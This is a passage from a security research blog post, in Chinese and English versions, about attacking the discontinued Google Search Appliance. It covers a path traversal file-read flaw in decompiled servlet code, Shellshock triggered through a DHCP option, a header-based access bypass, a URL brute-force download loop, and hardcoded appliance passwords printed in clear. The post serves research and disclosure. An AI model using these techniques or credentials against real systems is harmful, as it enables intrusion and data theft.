src="/assets/img/blog/20230707/11.png" alt="" /></p> <p>成功執行指令並反連。</p> <h4 id="任意讀檔">任意讀檔</h4> <p>於 GSA 6.x 系列版本後的 RPM 安裝包中發現其 80/443 的網頁服務使用 Apache httpd, 其中位於 /etc/httpd/conf.d/ 中有許多的設定。 而其中 gsa-http.conf 及 gsa-https.conf 可以發現某些目錄會被導向至本機特定的服務:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> RewriteEngine on RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L] RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L] RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L] RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L] RewriteRule ^/$ http://localhost:7800/ [P,L] RewriteRule ^/(.*) http://localhost:7800/$1 [P,L] </code></pre></div></div> <p>其中通訊埠為 7886 跟 7890 的服務為另外執行的 Apache Tomcat 伺服器,當串接兩層以上的網站伺服器時, Tomcat 的路徑判斷 ..;/ 是一個有趣的測試點,可以參閱一位老前輩的文章:</p> <p><a href="https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf">https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf</a></p> <p>而我們有興趣的點為 dps ,這似乎沒有在舊版的 GSA 中看到。 從 dps.war 中解出 /WEB-INF/web.xml 觀察網頁應用配置,並發現 /font 會呼叫 <code class="language-plaintext highlighter-rouge">com.documill.dps.connector.servlet.user.DPSDownloadServlet</code></p> <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt">&lt;servlet&gt;</span> <span class="nt">&lt;servlet-name&gt;</span>font<span class="nt">&lt;/servlet-name&gt;</span> <span class="nt">&lt;servlet-class&gt;</span>com.documill.dps.connector.servlet.user.DPSDownloadServlet<span class="nt">&lt;/servlet-class&gt;</span> <span class="nt">&lt;init-param&gt;</span> <span class="nt">&lt;param-name&gt;</span>rootDirectory<span class="nt">&lt;/param-name&gt;</span> <span class="nt">&lt;param-value&gt;</span>work/fonts/<span class="nt">&lt;/param-value&gt;</span> <span class="nt">&lt;/init-param&gt;</span> <span class="nt">&lt;/servlet&gt;</span> <span class="nt">&lt;servlet-mapping&gt;</span> <span class="nt">&lt;servlet-name&gt;</span>font<span class="nt">&lt;/servlet-name&gt;</span> <span class="nt">&lt;url-pattern&gt;</span>/font/*<span class="nt">&lt;/url-pattern&gt;</span> <span class="nt">&lt;/servlet-mapping&gt;</span> </code></pre></div></div> <p>接著查看 DPSDownloadServlet:</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">com.davisor.net.servlet.DownloadServlet</span><span class="o">;</span> <span class="kn">import</span> <span class="nn">com.documill.dps.*</span><span class="o">;</span> <span class="kn">import</span> <span class="nn">java.io.*</span><span class="o">;</span> <span class="kn">import</span> <span class="nn">javax.servlet.ServletContext</span><span class="o">;</span> <span class="kd">public</span> <span class="kd">class</span> <span class="nc">DPSDownloadServlet</span> <span class="kd">extends</span> <span class="nc">DownloadServlet</span> <span class="kd">implements</span> <span class="nc">DPSUserService</span> <span class="o">{</span> <span class="kd">public</span> <span class="nf">DPSDownloadServlet</span><span class="o">()</span> <span class="o">{</span> <span class="o">}</span> <span class="kd">protected</span> <span class="nc">String</span> <span class="nf">getRealPath</span><span class="o">(</span><span class="nc">ServletContext</span> <span class="n">servletcontext</span><span class="o">,</span> <span class="nc">String</span> <span class="n">s</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> <span class="no">DPS</span> <span class="n">dps</span> <span class="o">=</span> <span class="nc">DPSSingleton</span><span class="o">.</span><span class="na">getDPS</span><span class="o">();</span> <span class="nc">File</span> <span class="n">file</span> <span class="o">=</span> <span class="n">dps</span><span class="o">.</span><span class="na">getHomeDir</span><span class="o">();</span> <span class="k">if</span><span class="o">(</span><span class="n">file</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="k">throw</span> <span class="k">new</span> <span class="nf">FileNotFoundException</span><span class="o">(</span><span class="s">"DPSDownloadServlet:getRealPath:DPS home directory not specified"</span><span class="o">);</span> <span class="k">else</span> <span class="nf">return</span> <span class="o">(</span><span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">file</span><span class="o">,</span> <span class="n">s</span><span class="o">)).</span><span class="na">getAbsolutePath</span><span class="o">();</span> <span class="o">}</span> <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">long</span> <span class="n">serialVersionUID</span> <span class="o">=</span> <span class="mi">0L</span><span class="o">;</span> <span class="o">}</span> </code></pre></div></div> <p>發現此類別是繼承自 <code class="language-plaintext highlighter-rouge">com.davisor.net.servlet.DownloadServlet</code>,跟進此類別:</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">protected</span> <span class="kt">void</span> <span class="nf">service</span><span class="o">(</span><span class="nc">HttpServletRequest</span> <span class="n">httpservletrequest</span><span class="o">,</span> <span class="nc">HttpServletResponse</span> <span class="n">httpservletresponse</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">ServletException</span><span class="o">,</span> <span class="nc">IOException</span> <span class="o">{</span> <span class="nc">String</span> <span class="n">s</span> <span class="o">=</span> <span class="n">httpservletrequest</span><span class="o">.</span><span class="na">getParameter</span><span class="o">(</span><span class="n">uriParameterName</span><span class="o">);</span> <span class="k">if</span><span class="o">(!</span><span class="n">isValid</span><span class="o">(</span><span class="n">s</span><span class="o">))</span> <span class="o">{</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">sendError</span><span class="o">(</span><span class="mi">400</span><span class="o">,</span> <span class="o">(</span><span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">()).</span><span class="na">append</span><span class="o">(</span><span class="s">"Invalid file path: "</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">s</span><span class="o">).</span><span class="na">toString</span><span class="o">());</span> <span class="k">return</span><span class="o">;</span> <span class="o">}</span> <span class="nc">File</span> <span class="n">file</span> <span class="o">=</span> <span class="n">rootDirectory</span><span class="o">.</span><span class="na">deriveFile</span><span class="o">(</span><span class="n">s</span><span class="o">);</span> <span class="k">if</span><span class="o">(!</span><span class="n">file</span><span class="o">.</span><span class="na">isFile</span><span class="o">())</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">sendError</span><span class="o">(</span><span class="mi">404</span><span class="o">,</span> <span class="o">(</span><span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">()).</span><span class="na">append</span><span class="o">(</span><span class="s">"No file:"</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">s</span><span class="o">).</span><span class="na">toString</span><span class="o">());</span> <span class="k">else</span> <span class="nf">if</span><span class="o">(!</span><span class="n">file</span><span class="o">.</span><span class="na">canRead</span><span class="o">())</span> <span class="o">{</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">sendError</span><span class="o">(</span><span class="mi">403</span><span class="o">,</span> <span class="o">(</span><span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">()).</span><span class="na">append</span><span class="o">(</span><span class="s">"Unreadable file:"</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">s</span><span class="o">).</span><span class="na">toString</span><span class="o">());</span> <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> <span class="kt">long</span> <span class="n">l</span> <span class="o">=</span> <span class="n">file</span><span class="o">.</span><span class="na">length</span><span class="o">();</span> <span class="k">if</span><span class="o">(</span><span class="n">l</span> <span class="o">&gt;</span> <span class="mh">0x7fffffff</span><span class="no">L</span><span class="o">)</span> <span class="o">{</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">sendError</span><span class="o">(</span><span class="mi">413</span><span class="o">,</span> <span class="o">(</span><span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">()).</span><span class="na">append</span><span class="o">(</span><span class="s">"File too big:"</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">l</span><span class="o">).</span><span class="na">toString</span><span class="o">());</span> <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> <span class="nc">String</span> <span class="n">s1</span> <span class="o">=</span> <span class="no">MIME</span><span class="o">.</span><span class="na">getTypeFromPath</span><span class="o">(</span><span class="n">file</span><span class="o">.</span><span class="na">getName</span><span class="o">(),</span> <span class="s">"application/octet-stream"</span><span class="o">);</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">setContentLength</span><span class="o">((</span><span class="kt">int</span><span class="o">)</span><span class="n">l</span><span class="o">);</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">setContentType</span><span class="o">(</span><span class="n">s1</span><span class="o">);</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">setDateHeader</span><span class="o">(</span><span class="s">"Last-Modified"</span><span class="o">,</span> <span class="n">file</span><span class="o">.</span><span class="na">lastModified</span><span class="o">());</span> <span class="k">if</span><span class="o">(</span><span class="n">cacheExpires</span> <span class="o">&gt;</span> <span class="mi">0L</span><span class="o">)</span> <span class="o">{</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">setDateHeader</span><span class="o">(</span><span class="s">"Expires"</span><span class="o">,</span> <span class="nc">System</span><span class="o">.</span><span class="na">currentTimeMillis</span><span class="o">()</span> <span class="o">+</span> <span class="n">cacheExpires</span><span class="o">);</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">setHeader</span><span class="o">(</span><span class="s">"Cache-Control"</span><span class="o">,</span> <span class="s">"public"</span><span class="o">);</span> <span class="o">}</span> <span class="no">IO</span><span class="o">.</span><span class="na">copy</span><span class="o">(</span><span class="n">file</span><span class="o">,</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">getOutputStream</span><span class="o">());</span> <span class="o">}</span> <span class="o">}</span> <span class="o">}</span> <span class="kd">private</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">isValid</span><span class="o">(</span><span class="nc">String</span> <span class="n">s</span><span class="o">)</span> <span class="o">{</span> <span class="k">return</span> <span class="o">!</span><span class="nc">Strings</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">(</span><span class="n">s</span><span class="o">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">s</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">".."</span><span class="o">);</span> <span class="o">}</span> </code></pre></div></div> <p>可以發現此處只有檢查字串是否含有 <code class="language-plaintext highlighter-rouge">..</code> ,但我們可以直接指定絕對路徑。 並直接讀取本機任意檔案!</p> <p><img src="/assets/img/blog/20230707/12.png" alt="" /></p> <p>舊版GSA 沒有 /font 這個端點,但 /dps/admin 有類似的讀檔問題,可以直接指定 logName 進行檔案讀取, 可參考下圖直接讀取系統管理介面帳號密碼檔:</p> <p><img src="/assets/img/blog/20230707/13.png" alt="" /></p> <p>成功破解雜湊後,登入後可以開啟 SNMP 服務配合第一個漏洞並以 root 權限執行任意指令。</p> <h3 id="其他發現跟整理">其他發現跟整理</h3> <h4 id="服務本身內部網址">服務本身內部網址</h4> <p>GSA 中有許多的子服務間使用 HTTP 傳輸協定溝通,而在許多服務都有提供 /varz、/helpz、/procz 等網址, 可以在服務定義的信任網路位置或 127.0.0.1 中存取:</p> <p><img src="/assets/img/blog/20230707/14.png" alt="" /></p> <p>而在 vGSA 中觀察到服務執行參數有 <code class="language-plaintext highlighter-rouge">useripheader=X-User-Ip</code> ,導致對外開放的管理介面可以帶入 X-User-IP 請求頭後直接存取此功能:</p> <p><img src="/assets/img/blog/20230707/15.png" alt="" /></p> <p><img src="/assets/img/blog/20230707/16.png" alt="" /></p> <p>/procz 端點甚至可以抓取執行檔及使用到的共享函示庫: <img src="/assets/img/blog/20230707/17.png" alt="" /></p> <h4 id="型號整理">型號整理</h4> <table> <thead> <tr> <th>型號</th> <th>製造商及型號</th> <th>硬體規格</th> <th>版號</th> <th>文件數量</th> </tr> </thead> <tbody> <tr> <td>Google Mini</td> <td>Gigabyte</td> <td><a href="https://commons.erau.edu/cgi/viewcontent.cgi?article=1153&amp;context=jdfsl">Pentium III 1G / 2GB memory / 120G</a></td> <td>3.4.14</td> <td>300,000</td> </tr> <tr> <td>Google Mini-002X</td> <td>SuperMicro</td> <td>Pentium 4 3G / 2GB memory / 250G HDD</td> <td>5.0.0</td> <td>未知</td> </tr> <tr> <td>Google GB-1001</td> <td>Dell Poweredge 2950</td> <td>Xeon / 16GB memory / 1.25TB HDD</td> <td>未知</td> <td>3,000,000</td> </tr> <tr> <td>Google GB-1002</td> <td>Gigabyte</td> <td>未知</td> <td>未知</td> <td>未知</td> </tr> <tr> <td>Google GB-7007</td> <td>Dell R710</td> <td>Xeon E5520 / 48GB memory / 3TB HDD</td> <td>未知</td> <td>10,000,000</td> </tr> <tr> <td>Google GB-9009</td> <td>未知</td> <td>Xeon X5560 / 96GB memory / 3.6TB HDD</td> <td>未知</td> <td>30,000,000</td> </tr> <tr> <td>Google G100</td> <td>Dell R720XD</td> <td>未知</td> <td>未知</td> <td>未知</td> </tr> <tr> <td>Google G500</td> <td>未知</td> <td>未知</td> <td>未知</td> <td>未知</td> </tr> </tbody> </table> <h4 id="核心版本">核心版本</h4> <table> <thead> <tr> <th>GSA 版本</th> <th>核心版本</th> </tr> </thead> <tbody> <tr> <td>7.6.0</td> <td>Linux version 3.14.44_gsa-x64_1.5 ([email protected]) (gcc version 4.9.x-google 20150123 (prerelease) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu) ) #1 SMP Mon Nov 23 09:19:11 PST 2015</td> </tr> <tr> <td>7.4.0</td> <td>未知</td> </tr> <tr> <td>7.2.0</td> <td>Linux version 3.4.3_gsa-x64_1.5 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Tue Jul 9 15:36:01 PDT 2013</td> </tr> <tr> <td>7.0.14</td> <td>Linux version 3.4.3_gsa-x64_1.3 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Thu Jul 19 11:59:57 PDT 2012</td> </tr> <tr> <td>5.2.0</td> <td>Linux version 2.6.20_vmw-smp_3.1 ([email protected]) (gcc version 4.1.1) #1 SMP Thu Jan 24 22:34:28 PST 2008</td> </tr> </tbody> </table> <h3 id="時間軸">時間軸</h3> <table> <thead> <tr> <th>時間</th> <th>事件</th> </tr> </thead> <tbody> <tr> <td>2005/06/10</td> <td>Java Code Injection <a href="https://seclists.org/fulldisclosure/2005/Nov/652">CVE-2005-3757</a> 被 H D Moore 回報</td> </tr> <tr> <td>2008 上半年</td> <td>釋出 GSA 5.0</td> </tr> <tr> <td>2008/10/28</td> <td>釋出 vgsa_20081028.7z (5.2.0)</td> </tr> <tr> <td>2013/04/20</td> <td>釋出 GSA 6.14.0.G28</td> </tr> <tr> <td>2014/03/20</td> <td>XSS 漏洞 <a href="https://latesthackingnews.com/2014/05/03/xss-vulnerability-found-in-google-search-appliance/">CVE-2014-0362</a> 被 Will Dormann 回報</td> </tr> <tr> <td>2014/10/01</td> <td>釋出 GSA 7.0.14.G238</td> </tr> <tr> <td>2014/10/03</td> <td>釋出 GSA 7.2.0.G252</td> </tr> <tr> <td>2014/12/12</td> <td>釋出 GSA 7.2.0.G264</td> </tr> <tr> <td>2015/02/07</td> <td>釋出 GSA 7.2.0.G270</td> </tr> <tr> <td>2015/04/15</td> <td>釋出 GSA 7.4.0.G64</td> </tr> <tr> <td>2015/04/22</td> <td>釋出 GSA 7.4.0.G72</td> </tr> <tr> <td>2015/04/30</td> <td>釋出 GSA 7.4.0.G74</td> </tr> <tr> <td>2015/06/04</td> <td>釋出 GSA 7.4.0.G82</td> </tr> <tr> <td>2016 上半年</td> <td>Google 宣布 GSA 將會逐步退出市場</td> </tr> <tr> <td>2016/01/05</td> <td>XML 外部實體攻擊 <a href="https://insinuator.net/2016/03/classical-web-vulns-found-in-google-search-appliance-7-4/"></a> 被 Timo 回報</td> </tr> <tr> <td>2016/05/24</td> <td>釋出 GSA 7.6.0.G36</td> </tr> <tr> <td>2016/07/01</td> <td>釋出 GSA 7.6.0.G42</td> </tr> <tr> <td>2016/07/31</td> <td>本文作者取得此設備,版本為 7.0.14</td> </tr> <tr> <td>2016/08/25</td> <td>釋出 GSA 7.6.0.G46</td> </tr> <tr> <td>2016/10/21</td> <td>釋出 GSA 7.6.0.G58</td> </tr> <tr> <td>2017/01/19</td> <td>釋出 GSA 7.6.50.G30</td> </tr> <tr> <td>2017/04/19</td> <td>釋出 GSA 7.6.50.G36</td> </tr> <tr> <td>2017/07/28</td> <td>釋出 GSA 7.6.50.G64</td> </tr> <tr> <td>2017/11/09</td> <td>釋出 GSA 7.6.250.G12</td> </tr> <tr> <td>2017/12/28</td> <td>最後能訂購 GSA 的日期</td> </tr> <tr> <td>2018/01/17</td> <td>釋出 GSA 7.6.250.G20</td> </tr> <tr> <td>2018/03/21</td> <td>釋出 GSA 7.6.250.G26</td> </tr> <tr> <td>2018/06/15</td> <td>釋出 GSA 7.6.360.G10</td> </tr> <tr> <td>2018/10/08</td> <td>釋出 GSA 7.6.360.G16</td> </tr> <tr> <td>2019/04/26</td> <td>釋出 GSA 7.6.512.G18,應該為最後一個版本</td> </tr> <tr> <td>2021/08/16</td> <td>回報漏洞</td> </tr> <tr> <td>2021/08/16</td> <td>收到機器人回應確認收到回報信件</td> </tr> <tr> <td>2021/08/16</td> <td>問題於 issuetracker.google.com 被指派</td> </tr> <tr> <td>2021/08/18</td> <td>Google 提示漏洞不符合獎金條件,但會於下次會議再次討論</td> </tr> <tr> <td>2021/08/20</td> <td>確認漏洞不發放獎金</td> </tr> <tr> <td>2021/11/01</td> <td>詢問漏洞是否會指派 CVE 漏洞編號</td> </tr> <tr> <td>2021/11/02</td> <td>確認不會有 CVE 漏洞編號</td> </tr> <tr> <td>2023 上半年</td> <td>開始編寫文章</td> </tr> <tr> <td>2023/06/04</td> <td>初稿完成</td> </tr> </tbody> </table> <h3 id="結論">結論</h3> <p>雖然 GSA/vGSA 已經是結束生命周期的產品,但研究 Google 如何對設備去增加產品的安全性及減少攻擊向量 可以增加平常較少接觸的知識面。雖然文中沒有詳細說明,包含如使用 Java 的 Security Manager, Linux Kernel 的 seccomp 都是 GSA 中有使用的技術,而本次研究中也留下一些可供後續研究的目標:</p> <ul> <li>feedergate 服務</li> <li>Oracle 的 Outside-in Technology 轉換文件格式的記憶體漏洞</li> <li>convert_to_html seccomp sandbox</li> </ul> <p>有研究成果時再跟大家分享,下次見。</p> <h3 id="其他參考網址">其他參考網址</h3> <ul> <li><a href="https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf">https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf</a></li> <li><a href="https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/">https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/</a></li> <li><a href="https://www.exploit-db.com/exploits/1333">https://www.exploit-db.com/exploits/1333</a></li> <li><a href="https://commons.erau.edu/cgi/viewcontent.cgi?article=1153&amp;context=jdfsl">https://commons.erau.edu/cgi/viewcontent.cgi?article=1153&amp;context=jdfsl</a></li> <li><a href="https://www.anandtech.com/show/2407">https://www.anandtech.com/show/2407</a></li> <li><a href="https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ">https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ</a></li> <li><a href="https://github.com/google/subpar">https://github.com/google/subpar</a></li> <li><a href="https://insinuator.net/2016/03/classical-web-vulns-found-in-google-search-appliance-7-4/">https://insinuator.net/2016/03/classical-web-vulns-found-in-google-search-appliance-7-4/</a></li> <li><a href="https://github.com/kubernetes/kubernetes/issues/57760#issuecomment-356466614">https://github.com/kubernetes/kubernetes/issues/57760#issuecomment-356466614</a></li> <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2014-0362">https://nvd.nist.gov/vuln/detail/CVE-2014-0362</a></li> <li><a href="https://www.youtube.com/watch?v=un01LMLMuis">https://www.youtube.com/watch?v=un01LMLMuis</a></li> <li><a href="https://www.youtube.com/watch?v=K-sEER8CK0U">https://www.youtube.com/watch?v=K-sEER8CK0U</a></li> <li><a href="http://technical-fundas.blogspot.com/2016/05/google-search-appliance-migrate.html?">http://technical-fundas.blogspot.com/2016/05/google-search-appliance-migrate.html?</a></li> </ul> https://devco.re/blog/2023/07/07/a-journey-into-hacking-google-search-appliance/ https://devco.re/blog/2023/07/07/a-journey-into-hacking-google-search-appliance Fri, 07 Jul 2023 00:00:00 +0800 [REL] A Journey Into Hacking Google Search Appliance <p><a href="/blog/2023/07/07/a-journey-into-hacking-google-search-appliance-en">English Version</a>, <a href="/blog/2023/07/07/a-journey-into-hacking-google-search-appliance/">中文版本</a></p> <h3 id="tldr">TL;DR</h3> <ul> <li>GSA Admin console post-authentication Remote Code Execution.</li> <li>GSA Search interface Path traversal.</li> <li>GSA uses Oracle’s Outside-in Technology to convert documents.</li> <li>Google Web services have some fixed URIs that provide information about the service itself.</li> </ul> <h3 id="introduction">Introduction</h3> <p>The Google Search Appliance (hereinafter referred to as GSA) is an enterprise search device launched by Google in 2002, used for indexing and retrieving internal or public network information. Around 2005, Google introduced the Google Mini for personal and small business use. Later, at the end of 2008, a virtual machine version was launched, called the Virtual Google Search Appliance (hereinafter referred to as VGSA). However, at the end of 2018, Google ended the life cycle of the GSA product and integrated it into the Cloud Search product line.</p> <h3 id="appliance-and-software-acquisition">Appliance and Software Acquisition</h3> <p>We managed to purchase a device by searching “Google Search Appliance” on eBay.</p> <p>Luckily, the first one we bought was a GSA with unerased data:</p> <p><img src="/assets/img/blog/20230707/1.png" alt="" /></p> <p>Even now, you can still find devices that are currently being sold.</p> <p><img src="/assets/img/blog/20230707/2.png" alt="" /></p> <p>On the other hand, The original public link of vGSA has been removed. http://dl.google.com/vgsa/vgsa_20090210.7z [removed] http://dl.google.com/vgsa/vgsa_20081028.7z [removed]</p> <p>We found the file on BitTorrent magnet link:</p> <p><code class="language-plaintext highlighter-rouge">magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992</code></p> <p>Next, found the link to the old version software from Google Groups: https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ</p> <p><img src="/assets/img/blog/20230707/3.png" alt="" /></p> <p>The link was:</p> <p>http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin [removed]</p> <p>And we can obtain all version number from: <a href="http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&amp;ref_topic=2709671">http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&amp;ref_topic=2709671</a></p> <p>Guessing the File Naming Rules as <code class="language-plaintext highlighter-rouge">install_bundle-10000(3-digit numbers)-7.(numbers).(numbers)-(numbers).bin</code></p> <p>And write a shell script to attempt downloading software:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span><span class="o">((</span><span class="nv">j</span><span class="o">=</span>622<span class="p">;</span>j&lt;999<span class="p">;</span>+j<span class="o">))</span><span class="p">;</span><span class="k">do for</span><span class="o">((</span><span class="nv">i</span><span class="o">=</span>1<span class="p">;</span>i&lt;444<span class="p">;</span>+i<span class="o">))</span><span class="p">;</span><span class="k">do </span>wget http://dl.google.com/dl/enterprise/install_bundle-10000<span class="nv">$j</span><span class="nt">-7</span>.2.0-<span class="nv">$i</span>.bin<span class="p">;</span><span class="k">done</span><span class="p">;</span><span class="k">done for</span><span class="o">((</span><span class="nv">j</span><span class="o">=</span>661<span class="p">;</span>j&lt;999<span class="p">;</span>+j<span class="o">))</span><span class="p">;</span><span class="k">do for</span><span class="o">((</span><span class="nv">i</span><span class="o">=</span>1<span class="p">;</span>i&lt;444<span class="p">;</span>+i<span class="o">))</span><span class="p">;</span><span class="k">do </span>wget http://dl.google.com/dl/enterprise/install_bundle-10000<span class="nv">$j</span><span class="nt">-7</span>.4.0-<span class="nv">$i</span>.bin<span class="p">;</span><span class="k">done</span><span class="p">;</span><span class="k">done for</span><span class="o">((</span><span class="nv">j</span><span class="o">=</span>693<span class="p">;</span>j&lt;999<span class="p">;</span>+j<span class="o">))</span><span class="p">;</span><span class="k">do for</span><span class="o">((</span><span class="nv">i</span><span class="o">=</span>1<span class="p">;</span>i&lt;444<span class="p">;</span>+i<span class="o">))</span><span class="p">;</span><span class="k">do </span>wget http://dl.google.com/dl/enterprise/install_bundle-10000<span class="nv">$j</span><span class="nt">-7</span>.6.0-<span class="nv">$i</span>.bin<span class="p">;</span><span class="k">done</span><span class="p">;</span><span class="k">done</span> </code></pre></div></div> <p>Including the information found through internet search, successfully retrieved the following file:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>all_langs-lang-pack-2.1-1.bin all_langs-lang-pack-2.2-1.bin centos_patch_files-6.0.0-22.bin centos_patch_files-6.14.0-28.bin centos_patch_files-7.0.14-238.bin centos_patch_files-7.2.0-252.bin centos_patch_files-7.2.0-264.bin centos_patch_files-7.2.0-270.bin centos_patch_files-7.2.0-280.bin centos_patch_files-7.2.0-286.bin install_bundle-10000653-7.2.0-252.bin install_bundle-10000658-7.2.0-264.bin install_bundle-10000661-7.2.0-270.bin install_bundle-10000681-7.4.0-64.bin install_bundle-10000685-7.4.0-72.bin install_bundle-10000686-7.4.0-74.bin install_bundle-10000692-7.4.0-82.bin install_bundle-10000762-7.6.0-36.bin install_bundle-10000767-7.6.0-42.bin install_bundle-10000772-7.6.0-46.bin install_bundle-10000781-7.6.0-58.bin install_bundle-10000810-7.6.50-30.bin install_bundle-10000822-7.6.50-36.bin install_bundle-10000855-7.6.50-64.bin install_bundle-10000878-7.6.250-12.bin install_bundle-10000888-7.6.250-20.bin install_bundle-10000901-7.6.250-26.bin install_bundle-10000915-7.6.360-10.bin install_bundle-10000926-7.6.360-16.bin install_bundle-10000967-7.6.512-18.bin sw_files-5.0.4-22.bin sw_files-6.14.0-28.bin sw_files-7.0.14-238.bin vm_patch_1_for_504_G22_and_G24_only.bin </code></pre></div></div> <h3 id="vgsa-virtual-google-search-appliance">vGSA (Virtual Google Search Appliance)</h3> <p>Next, we began research on vGSA. By default, after importing the virtual machine, this system only provides a function for network configuration and doesn’t provide a system shell for operation or use. However, because the virtual machine operates within ours own environment, it is usually possible to obtain system permissions through the following methods:</p> <ul> <li>Directly altering unencrypted disk files</li> <li>Modifying the virtual machine memory</li> <li>Booting using CDs or disks from another operating system</li> <li>Exploiting known vulnerabilities</li> <li>Utilizing hard-coded administrator or system account passwords</li> </ul> <p>The following image shows the network configuration screen:</p> <p><img src="/assets/img/blog/20230707/4.png" alt="" /></p> <h4 id="cve-2014-6271">CVE-2014-6271</h4> <p>When testing early Linux appliances and servers, especially those using the RedHat series operating system, there are often Shellshock vulnerabilities, and the 2008 released vGSA is no exception. Inserting option 114 in the DHCP server will be set in the environment variable, thereby triggering the vulnerability and executing any command.</p> <p>The command attempted to be inserted is: <code class="language-plaintext highlighter-rouge">useradd zzzzgsa</code>. This command can be observed to be executed repeatedly, as error messages continue to appear in the console output.</p> <p><img src="/assets/img/blog/20230707/5.png" alt="" /></p> <h4 id="vgsa-operation-system-observation">vGSA operation system observation</h4> <p>After successfully obtaining operating system privileges, we can observe the network environment, the running applications, and the file system. Here are some insights gained from observing the operating system environment:</p> <ul> <li>Version number is 5.2.0.G.27.</li> <li>Services are mainly written in C/C++, Java, Python.</li> <li>/export/hda3 seems to be the directory primarily used by the service.</li> <li>/etc/shadow contains the root account with password hash x███████████M.</li> <li>Administration interface listening on port 8000, 8443 with default admin password, j0njlRXpU5CQ.</li> <li>/.gnupg contains ent_box_key public and private keys.</li> <li>/.gnupg contains google_license_key public key.</li> <li>/.ssh/authorized_keys contains two sets of public keys.</li> <li>/root/.ssh/authorized_keys contains one set of public keys.</li> <li>/root/.ssh/ contains two sets of SSH public and private keys.</li> <li>/root/.gnupg/ contains ent_box_key public and private keys.</li> <li>Oracle’s Outside In Technology is used to convert documents into HTML web pages.</li> <li>The Java runtime environment uses a Security Manager for protection.</li> <li>The request for engineer support function uses ppp to build a virtual private network, /etc/ppp/chap-secrets contains account passwords ( z██████c、]███████T ).</li> <li>The boot menu password in /etc/lilo.conf is cmBalx7.</li> <li>/export/hda3/versionmanager/google_key.symmetric has a string that seems to be used for symmetric encryption.</li> <li>/export/hda3/versionmanager/vmanager_passwd contains two sets of username-password combinations ( admin: M█████████████████████████w=:9██= google:w█████████████████████████o=:N██= ).</li> </ul> <p>Executable programs with network services are as follows:</p> <table> <thead> <tr> <th>Listen Port</th> <th>Process Name</th> <th>Program Language</th> <th>Function</th> </tr> </thead> <tbody> <tr> <td>22</td> <td>ssh</td> <td>C/C++</td> <td>OpenSSH Server</td> </tr> <tr> <td>53</td> <td>named</td> <td>C/C++</td> <td>Bind Named</td> </tr> <tr> <td>953</td> <td>named</td> <td>C/C++</td> <td>Bind Named</td> </tr> <tr> <td>1111</td> 